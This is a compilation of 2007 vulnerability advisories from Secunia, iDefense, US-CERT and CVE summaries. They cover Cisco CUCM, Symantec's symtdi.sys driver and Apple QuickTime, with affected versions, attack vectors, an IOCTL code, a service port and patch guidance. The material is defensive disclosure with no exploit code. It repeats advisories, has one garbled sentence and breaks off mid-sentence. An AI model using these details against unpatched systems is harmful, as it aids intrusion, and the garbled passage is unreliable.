Cisco Unified Communications Manager (CUCM, formerly CallManager) and Unified Presence Server (CUPS) allow remote attackers to obtain sensitive information via unspecified vectors that reveal the SNMP community strings and configuration settings, aka (1) CSCsj20668 and (2) CSCsj25962. To exploit this issue, an attacker must have administrative access. Attackers may exploit these issues to gain access to sensitive information or to cause denial-of-service conditions. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. The vulnerabilities are caused due to unspecified errors and can be exploited by an unauthorized administrator to e.g. activate and terminate system services or to view SNMP configuration information in a CUCM/CUPS cluster environment. CUCM 5.0/5.1: Update to CUCM 5.1(2a) - http://www.cisco.com/pcgi-bin/tablebuild.pl/callmgr-51?psrtdcat20e2 CUPS 1.0: Upgrade to CUPS 6.0(1) - http://www.cisco.com/pcgi-bin/tablebuild.pl/cups-60?psrtdcat20e2 Version 1.0 is reportedly discontinued. The vendor recommends users to upgrade to version 6. PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://www.cisco.com/warp/public/707/cisco-sa-20070711-voip.shtml ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Off-by-one error in the Certificate Trust List (CTL) Provider service (CTLProvider.exe) in Cisco Unified Communications Manager (CUCM, formerly CallManager) before 20070711 allow remote attackers to execute arbitrary code via a crafted packet that triggers a heap-based buffer overflow. Cisco Unified Communications Manager is prone to multiple heap-based buffer-overflow vulnerabilities because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. An attacker can exploit these issues to execute arbitrary code within the context of the vulnerable application. Successful exploits may result in a complete compromise of affected servers. Failed exploit attempts will likely result in denial-of-service conditions. A single-byte overflow vulnerability exists in the CTLProvider.exe and RisDC.exe service components of CUCM, which could be exploited by a remote attacker to render the device unusable or take control of the affected system. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Cisco Unified Communications Manager Two Vulnerabilities SECUNIA ADVISORY ID: SA26043 VERIFY ADVISORY: http://secunia.com/advisories/26043/ CRITICAL: Moderately critical IMPACT: DoS, System access WHERE: >From local network SOFTWARE: Cisco Unified CallManager 5.x http://secunia.com/product/12535/ Cisco Unified CallManager 4.x http://secunia.com/product/12534/ Cisco Unified CallManager 3.x http://secunia.com/product/2805/ Cisco Unified Communications Manager 5.x http://secunia.com/product/11019/ Cisco Unified Communications Manager 4.x http://secunia.com/product/5363/ DESCRIPTION: Some vulnerabilities have been reported in Cisco Unified Communications Manager (CUCM), which can be exploited by malicious people to cause a DoS (Denial of Service) or potentially compromise a vulnerable system. Note: This vulnerability does not affect CUCM 3.x. 2) An integer overflow error in the Real-Time Information Server (RIS) Data Collector service (RisDC.exe) can be exploited to cause a heap-based buffer overflow by sending specially crafted packets to the vulnerable service (default port 2556/TCP). Successful exploitation may allow execution of arbitrary code. SOLUTION: Apply updated versions: Vulnerability #1 is corrected in CUCM versions 4.1(3)SR5, 4.2(3)SR2, 4.3(1)SR1 and 5.1(2). Vulnerability #2 is corrected in CUCM versions 3.3(5)SR2b, 4.1(3)SR5, 4.2(3)SR2, 4.3(1)SR1 and 5.1(2). See vendor advisory for a detailed patch matrix. PROVIDED AND/OR DISCOVERED BY: IBM Internet Security Systems X-Force ORIGINAL ADVISORY: Cisco: http://www.cisco.com/warp/public/707/cisco-sa-20070711-cucm.shtml IBM Internet Security Systems: 1) http://www.iss.net/threats/270.html 2) http://www.iss.net/threats/271.html ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Symantec symtdi.sys before 7.0.0, as distributed in Symantec AntiVirus Corporate Edition 9 through 10.1 and Client Security 2.0 through 3.1, Norton AntiSpam 2005, and Norton AntiVirus, Internet Security, Personal Firewall, and System Works 2005 and 2006; allows local users to gain privileges via a crafted Interrupt Request Packet (Irp) in an IOCTL 0x83022323 request to \\symTDI\, which results in memory overwrite. Applications running the SYMTDI.SYS device driver are prone to a privilege-escalation vulnerability because the driver fails to adequately sanitize user-supplied input. Local attackers can exploit this issue to execute arbitrary code with SYSTEM-level privileges. A successful exploit will completely compromise affected computers. Failed exploit attempts will likely cause the computer to crash. Symantec AntiVirus is a very popular antivirus solution. instruction. Symantec AntiVirus symtdi.sys Local Privilege Escalation Vulnerability iDefense Security Advisory 07.11.07 http://labs.idefense.com/intelligence/vulnerabilities/ Jul 11, 2007 I. BACKGROUND Symantec has a wide range of Anti-Virus and Internet Security products that are designed to protect users from viruses and other harmful software. More information can be found on the Symantec site at the following URL. http://www.symantec.com/ II. The vulnerability specifically exists due to improper address space validation when the \\symTDI\ device driver processes IOCTL 0x83022323. An attacker can overwrite an arbitrary address, including code segments, with a constant double word value by supplying a specially crafted Irp to the IOCTL handler function. III. ANALYSIS Exploitation allows an attacker to obtain elevated privileges by exploiting a kernel-mode driver. This could allow the attacker to gain complete control of the affected system. Note that since the attacker can only overwrite with a constant double-word value, exploitation is not completely straight forward. However, this does not significantly impact the difficulty of exploitation since code segments can be overwritten within the kernel. IV. DETECTION iDefense confirmed this vulnerability in version 5.5.1.6 of Symantec's symtdi.sys device driver as included with version 10 of Symantec AntiVirus Corporate Edition. Previous versions and related products that contain the affected driver are suspected vulnerable. V. WORKAROUND iDefense is currently unaware of any effective workaround for this issue. VI. VENDOR RESPONSE Symantec has addressed this vulnerability by releasing updated versions of the SymTDI.sys device driver. The updated driver has been made available via LiveUpdate. For more information consult Symantec's advisory at the following URL. http://securityresponse.symantec.com/avcenter/security/Content/2007.07.11d.html VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2007-3673 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 01/10/2007 Initial vendor notification 01/11/2007 Initial vendor response 07/11/2007 Coordinated public disclosure IX. CREDIT This vulnerability was reported to iDefense by Zohiartze Herce. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright © 2007 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice@idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. Please see the vendor's advisory for details. PROVIDED AND/OR DISCOVERED BY: Zohiartze Herce, reported via iDefense Labs. ORIGINAL ADVISORY: Symantec: http://securityresponse.symantec.com/avcenter/security/Content/2007.07.11d.html iDefense Labs: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=554 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Apple Quicktime before 7.2 on Mac OS X 10.3.9 and 10.4.9 allows user-assisted remote attackers to execute arbitrary code via a crafted movie file that triggers memory corruption. Apple QuickTime fails to properly handle malformed movie files. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial-of-service condition. Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities. Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. Apple QuickTime is a popular multimedia player that supports a wide variety of media formats. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Apple QuickTime Multiple Vulnerabilities SECUNIA ADVISORY ID: SA26034 VERIFY ADVISORY: http://secunia.com/advisories/26034/ CRITICAL: Highly critical IMPACT: Exposure of sensitive information, DoS, System access WHERE: >From remote REVISION: 1.1 originally posted 2007-07-12 SOFTWARE: Apple QuickTime 7.x http://secunia.com/product/5090/ DESCRIPTION: Some vulnerabilities have been reported in Apple QuickTime, which can be exploited by malicious people to compromise a user's system. 1) An unspecified error exists in the processing of H.264 movies. 2) An unspecified error exists in the processing of movie files. 3) An integer overflow error exists in the handling of .m4v files and can be exploited to execute arbitrary code when a user accesses a specially crafted .m4v file. 4) An integer overflow error exists in the handling of the "author" and "title" fields when parsing SMIL files. 5) A design error exists in QuickTime for Java, which can be exploited to disable security checks and execute arbitrary code when a user visits a web site containing a specially crafted Java applet. 6) A design error exists in QuickTime for Java, which can be exploited to bypass security checks and read and write to process memory. This can lead to execution of arbitrary code when a user visits a web site containing a specially crafted Java applet. 7) A design error exists in QuickTime for Java due to JDirect exposing interfaces that may allow loading arbitrary libraries and freeing arbitrary memory. This can be exploited to execute arbitrary code when a user visits a web site containing a specially crafted Java applet. 8) A design error exists in QuickTime for Java, which can be exploited to capture the user's screen content when a user visits a web site containing a specially crafted Java applet. The vulnerabilities are reported in versions prior to 7.2. SOLUTION: Update to version 7.2. QuickTime 7.2 for Mac: http://www.apple.com/support/downloads/quicktime72formac.html QuickTime 7.2 for Windows: http://www.apple.com/support/downloads/quicktime72forwindows.html PROVIDED AND/OR DISCOVERED BY: 1) The vendor credits Tom Ferris, Security-Protocols.com and Matt Slot, Ambrosia Software, Inc. 2) The vendor credits Jonathan 'Wolf' Rentzsch of Red Shed Software. 3) The vendor credits Tom Ferris, Security-Protocols.com. 4) David Vaartjes of ITsec Security Services, reported via iDefense. 5, 6, 7) The vendor credits Adam Gowdiak. 8) Reported by the vendor. CHANGELOG: 2007-07-12: Added link to US-CERT. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305947 iDefense: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556 OTHER REFERENCES: US-CERT VU#582681: http://www.kb.cert.org/vuls/id/582681 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA07-193A Apple Releases Security Updates for QuickTime Original release date: July 12, 2007 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows Overview Apple QuickTime contains multiple vulnerabilities. I. Description Apple QuickTime 7.2 resolves multiple vulnerabilities in the way Java applets and various types of media files are handled. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. Note that QuickTime ships with Apple iTunes. For more information, please refer to the Vulnerability Notes Database. II. For further information, please see the Vulnerability Notes Database. III. Solution Upgrade QuickTime Upgrade to QuickTime 7.2. This and other updates for Mac OS X are available via Apple Update. On Microsoft Windows, QuickTime users can install the update by using the built-in auto-update mechanism, Apple Software Update, or by installing the update manually. Disabling QuickTime in your web browser may defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Disabling Java in your web browser may defend against this attack vector. Instructions for disabling Java can be found in the Securing Your Web Browser document. References * Vulnerability Notes for QuickTime 7.2 - <http://www.kb.cert.org/vuls/byid?searchview&query=QuickTime_72> * About the security content of the QuickTime 7.2 Update - <http://docs.info.apple.com/article.html?artnum=305947> * How to tell if Software Update for Windows is working correctly when no updates are available - <http://docs.info.apple.com/article.html?artnum=304263> * Apple QuickTime 7.2 for Windows - <http://www.apple.com/support/downloads/quicktime72forwindows.html> * Apple QuickTime 7.2 for Mac - <http://www.apple.com/support/downloads/quicktime72formac.html> * Standalone Apple QuickTime Player - <http://www.apple.com/quicktime/download/standalone.html> * Mac OS X: Updating your software - <http://docs.info.apple.com/article.html?artnum=106704> * Securing Your Web Browser - <http://www.us-cert.gov/reading_room/securing_browser/> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA07-193A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA07-193A Feedback VU#582681" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2007 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History Thursday July 12, 2007: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRpZsJ/RFkHkM87XOAQKLMgf9GpK/pbKTrSe0yKCRMt8Z4lMKl8VE+Rqr 4i8GfVXYUcBKbTlA8TTyf5ucbmCVAnjGJIq0W6X5gLBeA0QxCZ6qto/iPqviuvoV 8tu92/DuerYOkZMvJcn4RjAlMhM9CWCqJh1QG6R2Csn8AyeKEOFDiKYqoDzT+LoQ zojxmlNJIbUvIIGv8Z12Xkr1LLDmD4rs1nfDEBZm7yLTWRItmXpvSidftdUGETDZ +ok1SIhkZEbPNT7gAox9RZaKyIRHV7V4wZwqDd3weo6T7UPlhsgRqe88h1R5Yfq8 a7ePH0WSbTCqdGmuoM+nir4iDldoxB8OpbMUQH1nmWcDmc9xv++MHQ== =EV1X -----END PGP SIGNATURE-----

QuickTime for Java in Apple Quicktime before 7.2 does not properly check permissions, which allows remote attackers to disable security controls and execute arbitrary code via crafted Java applets. Apple QuickTime fails to properly handle malformed movie files. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial-of-service condition. Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities. Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. Apple QuickTime is a popular multimedia player that supports a wide variety of media formats. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Apple QuickTime Multiple Vulnerabilities SECUNIA ADVISORY ID: SA26034 VERIFY ADVISORY: http://secunia.com/advisories/26034/ CRITICAL: Highly critical IMPACT: Exposure of sensitive information, DoS, System access WHERE: >From remote REVISION: 1.1 originally posted 2007-07-12 SOFTWARE: Apple QuickTime 7.x http://secunia.com/product/5090/ DESCRIPTION: Some vulnerabilities have been reported in Apple QuickTime, which can be exploited by malicious people to compromise a user's system. 1) An unspecified error exists in the processing of H.264 movies. This can be exploited to cause memory corruption and may allow execution of arbitrary code when a user accesses a specially crafted H.264 movie. 2) An unspecified error exists in the processing of movie files. 3) An integer overflow error exists in the handling of .m4v files and can be exploited to execute arbitrary code when a user accesses a specially crafted .m4v file. 4) An integer overflow error exists in the handling of the "author" and "title" fields when parsing SMIL files. 6) A design error exists in QuickTime for Java, which can be exploited to bypass security checks and read and write to process memory. This can lead to execution of arbitrary code when a user visits a web site containing a specially crafted Java applet. 7) A design error exists in QuickTime for Java due to JDirect exposing interfaces that may allow loading arbitrary libraries and freeing arbitrary memory. 8) A design error exists in QuickTime for Java, which can be exploited to capture the user's screen content when a user visits a web site containing a specially crafted Java applet. The vulnerabilities are reported in versions prior to 7.2. SOLUTION: Update to version 7.2. QuickTime 7.2 for Mac: http://www.apple.com/support/downloads/quicktime72formac.html QuickTime 7.2 for Windows: http://www.apple.com/support/downloads/quicktime72forwindows.html PROVIDED AND/OR DISCOVERED BY: 1) The vendor credits Tom Ferris, Security-Protocols.com and Matt Slot, Ambrosia Software, Inc. 2) The vendor credits Jonathan 'Wolf' Rentzsch of Red Shed Software. 3) The vendor credits Tom Ferris, Security-Protocols.com. 4) David Vaartjes of ITsec Security Services, reported via iDefense. 5, 6, 7) The vendor credits Adam Gowdiak. 8) Reported by the vendor. CHANGELOG: 2007-07-12: Added link to US-CERT. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305947 iDefense: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556 OTHER REFERENCES: US-CERT VU#582681: http://www.kb.cert.org/vuls/id/582681 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA07-193A Apple Releases Security Updates for QuickTime Original release date: July 12, 2007 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows Overview Apple QuickTime contains multiple vulnerabilities. I. Description Apple QuickTime 7.2 resolves multiple vulnerabilities in the way Java applets and various types of media files are handled. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. Note that QuickTime ships with Apple iTunes. For more information, please refer to the Vulnerability Notes Database. II. For further information, please see the Vulnerability Notes Database. III. Solution Upgrade QuickTime Upgrade to QuickTime 7.2. This and other updates for Mac OS X are available via Apple Update. On Microsoft Windows, QuickTime users can install the update by using the built-in auto-update mechanism, Apple Software Update, or by installing the update manually. Disabling QuickTime in your web browser may defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Disabling Java in your web browser may defend against this attack vector. Instructions for disabling Java can be found in the Securing Your Web Browser document. References * Vulnerability Notes for QuickTime 7.2 - <http://www.kb.cert.org/vuls/byid?searchview&query=QuickTime_72> * About the security content of the QuickTime 7.2 Update - <http://docs.info.apple.com/article.html?artnum=305947> * How to tell if Software Update for Windows is working correctly when no updates are available - <http://docs.info.apple.com/article.html?artnum=304263> * Apple QuickTime 7.2 for Windows - <http://www.apple.com/support/downloads/quicktime72forwindows.html> * Apple QuickTime 7.2 for Mac - <http://www.apple.com/support/downloads/quicktime72formac.html> * Standalone Apple QuickTime Player - <http://www.apple.com/quicktime/download/standalone.html> * Mac OS X: Updating your software - <http://docs.info.apple.com/article.html?artnum=106704> * Securing Your Web Browser - <http://www.us-cert.gov/reading_room/securing_browser/> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA07-193A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA07-193A Feedback VU#582681" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2007 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History Thursday July 12, 2007: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRpZsJ/RFkHkM87XOAQKLMgf9GpK/pbKTrSe0yKCRMt8Z4lMKl8VE+Rqr 4i8GfVXYUcBKbTlA8TTyf5ucbmCVAnjGJIq0W6X5gLBeA0QxCZ6qto/iPqviuvoV 8tu92/DuerYOkZMvJcn4RjAlMhM9CWCqJh1QG6R2Csn8AyeKEOFDiKYqoDzT+LoQ zojxmlNJIbUvIIGv8Z12Xkr1LLDmD4rs1nfDEBZm7yLTWRItmXpvSidftdUGETDZ +ok1SIhkZEbPNT7gAox9RZaKyIRHV7V4wZwqDd3weo6T7UPlhsgRqe88h1R5Yfq8 a7ePH0WSbTCqdGmuoM+nir4iDldoxB8OpbMUQH1nmWcDmc9xv++MHQ== =EV1X -----END PGP SIGNATURE-----

The JDirect support in QuickTime for Java in Apple Quicktime before 7.2 exposes certain dangerous interfaces, which allows remote attackers to execute arbitrary code via crafted Java applets. Apple QuickTime fails to properly handle malformed movie files. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial-of-service condition. Apple QuickTime of JDirect Is invalid due to a lack of interface. Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. Apple QuickTime is a popular multimedia player that supports a wide variety of media formats. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Apple QuickTime Multiple Vulnerabilities SECUNIA ADVISORY ID: SA26034 VERIFY ADVISORY: http://secunia.com/advisories/26034/ CRITICAL: Highly critical IMPACT: Exposure of sensitive information, DoS, System access WHERE: >From remote REVISION: 1.1 originally posted 2007-07-12 SOFTWARE: Apple QuickTime 7.x http://secunia.com/product/5090/ DESCRIPTION: Some vulnerabilities have been reported in Apple QuickTime, which can be exploited by malicious people to compromise a user's system. 1) An unspecified error exists in the processing of H.264 movies. This can be exploited to cause memory corruption and may allow execution of arbitrary code when a user accesses a specially crafted H.264 movie. 2) An unspecified error exists in the processing of movie files. 3) An integer overflow error exists in the handling of .m4v files and can be exploited to execute arbitrary code when a user accesses a specially crafted .m4v file. 4) An integer overflow error exists in the handling of the "author" and "title" fields when parsing SMIL files. 6) A design error exists in QuickTime for Java, which can be exploited to bypass security checks and read and write to process memory. 8) A design error exists in QuickTime for Java, which can be exploited to capture the user's screen content when a user visits a web site containing a specially crafted Java applet. The vulnerabilities are reported in versions prior to 7.2. SOLUTION: Update to version 7.2. QuickTime 7.2 for Mac: http://www.apple.com/support/downloads/quicktime72formac.html QuickTime 7.2 for Windows: http://www.apple.com/support/downloads/quicktime72forwindows.html PROVIDED AND/OR DISCOVERED BY: 1) The vendor credits Tom Ferris, Security-Protocols.com and Matt Slot, Ambrosia Software, Inc. 2) The vendor credits Jonathan 'Wolf' Rentzsch of Red Shed Software. 3) The vendor credits Tom Ferris, Security-Protocols.com. 4) David Vaartjes of ITsec Security Services, reported via iDefense. 5, 6, 7) The vendor credits Adam Gowdiak. 8) Reported by the vendor. CHANGELOG: 2007-07-12: Added link to US-CERT. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305947 iDefense: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556 OTHER REFERENCES: US-CERT VU#582681: http://www.kb.cert.org/vuls/id/582681 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA07-193A Apple Releases Security Updates for QuickTime Original release date: July 12, 2007 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows Overview Apple QuickTime contains multiple vulnerabilities. I. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. For more information, please refer to the Vulnerability Notes Database. II. For further information, please see the Vulnerability Notes Database. III. Solution Upgrade QuickTime Upgrade to QuickTime 7.2. This and other updates for Mac OS X are available via Apple Update. On Microsoft Windows, QuickTime users can install the update by using the built-in auto-update mechanism, Apple Software Update, or by installing the update manually. Disabling QuickTime in your web browser may defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Disabling Java in your web browser may defend against this attack vector. Instructions for disabling Java can be found in the Securing Your Web Browser document. References * Vulnerability Notes for QuickTime 7.2 - <http://www.kb.cert.org/vuls/byid?searchview&query=QuickTime_72> * About the security content of the QuickTime 7.2 Update - <http://docs.info.apple.com/article.html?artnum=305947> * How to tell if Software Update for Windows is working correctly when no updates are available - <http://docs.info.apple.com/article.html?artnum=304263> * Apple QuickTime 7.2 for Windows - <http://www.apple.com/support/downloads/quicktime72forwindows.html> * Apple QuickTime 7.2 for Mac - <http://www.apple.com/support/downloads/quicktime72formac.html> * Standalone Apple QuickTime Player - <http://www.apple.com/quicktime/download/standalone.html> * Mac OS X: Updating your software - <http://docs.info.apple.com/article.html?artnum=106704> * Securing Your Web Browser - <http://www.us-cert.gov/reading_room/securing_browser/> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA07-193A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA07-193A Feedback VU#582681" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2007 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History Thursday July 12, 2007: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRpZsJ/RFkHkM87XOAQKLMgf9GpK/pbKTrSe0yKCRMt8Z4lMKl8VE+Rqr 4i8GfVXYUcBKbTlA8TTyf5ucbmCVAnjGJIq0W6X5gLBeA0QxCZ6qto/iPqviuvoV 8tu92/DuerYOkZMvJcn4RjAlMhM9CWCqJh1QG6R2Csn8AyeKEOFDiKYqoDzT+LoQ zojxmlNJIbUvIIGv8Z12Xkr1LLDmD4rs1nfDEBZm7yLTWRItmXpvSidftdUGETDZ +ok1SIhkZEbPNT7gAox9RZaKyIRHV7V4wZwqDd3weo6T7UPlhsgRqe88h1R5Yfq8 a7ePH0WSbTCqdGmuoM+nir4iDldoxB8OpbMUQH1nmWcDmc9xv++MHQ== =EV1X -----END PGP SIGNATURE-----

QuickTime for Java in Apple Quicktime before 7.2 does not perform sufficient "access control," which allows remote attackers to obtain sensitive information (screen content) via crafted Java applets. Apple QuickTime fails to properly handle malformed movie files. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial-of-service condition. Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities. Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. Apple QuickTime is a popular multimedia player that supports a wide variety of media formats. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows 